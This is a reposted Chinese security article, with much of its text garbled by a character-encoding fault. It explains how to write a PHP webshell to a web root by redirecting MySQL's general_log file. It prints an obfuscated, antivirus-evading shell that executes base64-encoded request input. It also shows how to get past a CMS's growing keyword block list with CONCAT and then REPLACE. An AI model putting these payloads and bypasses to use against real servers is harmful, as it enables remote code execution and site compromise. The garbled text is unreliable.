0x01 基本原理
在能夠?qū)慡QL語(yǔ)句的地方,outfile、dumpfile、drop database等都被禁止,一般進(jìn)行SQL注入來(lái)getshell或刪庫(kù)的方式行不通了。
但是如果MySQL是root用戶啟動(dòng)的,那么可以進(jìn)行如下利用:
show variables like '%general%'; #查看配置 set global general_log = on; #開(kāi)啟general log模式 set global general_log_file = '/var/www/html/1.php'; #設(shè)置日志目錄為shell地址 select '' #寫入shell
SQL查詢免殺shell的語(yǔ)句(參考:SQL語(yǔ)句利用日志寫shell):
SELECT"'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a=array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_='a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>"
0x02 Bypass案例
這個(gè)案例雖然雞肋,但是思路還可以。
過(guò)濾 .php
代碼審計(jì)某CMS時(shí),看到一處寫SQL語(yǔ)句的地方,此處之前報(bào)過(guò)漏洞,修復(fù)方案是過(guò)濾了outfile、dumpfile、drop database等,此外還過(guò)濾了.php字符串,為的就是防住SQL語(yǔ)句日志寫shell:
if(stristr($sql, 'outfile')){ $str = 'ERROR : 檢測(cè)到非法字符 “outfile”!'; break; } if(stristr($sql, 'dumpfile')){ $str = 'ERROR : 檢測(cè)到非法字符 “dumpfile”!'; break; } if(stristr($sql, '.php')){ $str = 'ERROR : 檢測(cè)到非法字符 “.php” !'; break; } if(preg_match("/^drop(.*)database/i", $sql)){ $str = 'ERROR : 不允許刪除數(shù)據(jù)庫(kù)!'; break; }
這里直接寫上述的SQL語(yǔ)句肯定是不行的,因?yàn)閟et global general_log_file = '/var/www/html/1.php';的.php會(huì)被過(guò)濾掉。
這里只是針對(duì)字符串的檢測(cè),可以用字符串拼接的方式Bypass,這里可以使用SQL語(yǔ)句中的concat家族系列函數(shù)來(lái)實(shí)現(xiàn)字符串拼接來(lái)Bypass:
show variables like '%general%'; #查看配置 set global general_log = on; #開(kāi)啟general log模式 set global general_log_file =CONCAT("/var/www/html/1.","php"); select ''; #寫入shell
過(guò)濾 .php和concat
在這次報(bào)過(guò)的漏洞之后,CMS廠商修改了這個(gè)洞,就是添加了對(duì)concat的字符串過(guò)濾,這樣concat家族系列函數(shù)就使不上了。
if(stristr($sql, 'outfile')){ $str = 'ERROR : 檢測(cè)到非法字符 “outfile”!'; break; } if(stristr($sql, 'dumpfile')){ $str = 'ERROR : 檢測(cè)到非法字符 “dumpfile”!'; break; } if(stristr($sql, '.php')){ $str = 'ERROR : 檢測(cè)到非法字符 “.php” !'; break; } if(stristr($sql, 'concat')){ $str = 'ERROR : 檢測(cè)到非法字符 “concat” !'; break; } if(preg_match("/^drop(.*)database/i", $sql)){ $str = 'ERROR : 不允許刪除數(shù)據(jù)庫(kù)!'; break; }
使用concat進(jìn)行字符串拼接的方式?jīng)]法繞過(guò)了,但是除了字符串拼接,我們還能使用字符串替換的操作來(lái)繞過(guò):
show variables like '%general%'; #查看配置 set global general_log = on; #開(kāi)啟general log模式 set global general_log_file =REPLACE("/var/www/html/1.jpg","jpg","php"); select ''; #寫入shell
過(guò)濾 .php、concat和replace
CMS廠商收到新的繞過(guò)漏洞報(bào)告后,又進(jìn)行新一輪的修復(fù),過(guò)濾了replace:
if(stristr($sql, 'outfile')){ $str = 'ERROR : 檢測(cè)到非法字符 “outfile”!'; break; } if(stristr($sql, 'dumpfile')){ $str = 'ERROR : 檢測(cè)到非法字符 “dumpfile”!'; break; } if(stristr($sql, '.php')){ $str = 'ERROR : 檢測(cè)到非法字符 “.php” !'; break; } if(stristr($sql, 'concat')){ $str = 'ERROR : 檢測(cè)到非法字符 “concat” !'; break; } if(stripos($sql, 'replace')){ $str = 'ERROR : 檢測(cè)到非法字符 “replace” !'; break; } if(preg_match("/^drop(.*)database/i", $sql)){ $str = 'ERROR : 不允許刪除數(shù)據(jù)庫(kù)!'; break; }
字符串拼接和替換都不能成功進(jìn)行利用了,還有啥辦法不?
當(dāng)然還有新的Bypass方法哈哈。
作者:Mi1k7ea
菜鳥學(xué)安全
-
SQL
+關(guān)注
關(guān)注
1文章
764瀏覽量
44133 -
MySQL
+關(guān)注
關(guān)注
1文章
809瀏覽量
26574 -
日志
+關(guān)注
關(guān)注
0文章
138瀏覽量
10643 -
Shell
+關(guān)注
關(guān)注
1文章
365瀏覽量
23378 -
Bypass
+關(guān)注
關(guān)注
0文章
7瀏覽量
5616
原文標(biāo)題:SQL語(yǔ)句利用日志寫shell及相關(guān)繞過(guò)
文章出處:【微信號(hào):菜鳥學(xué)安全,微信公眾號(hào):菜鳥學(xué)安全】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
相關(guān)推薦
評(píng)論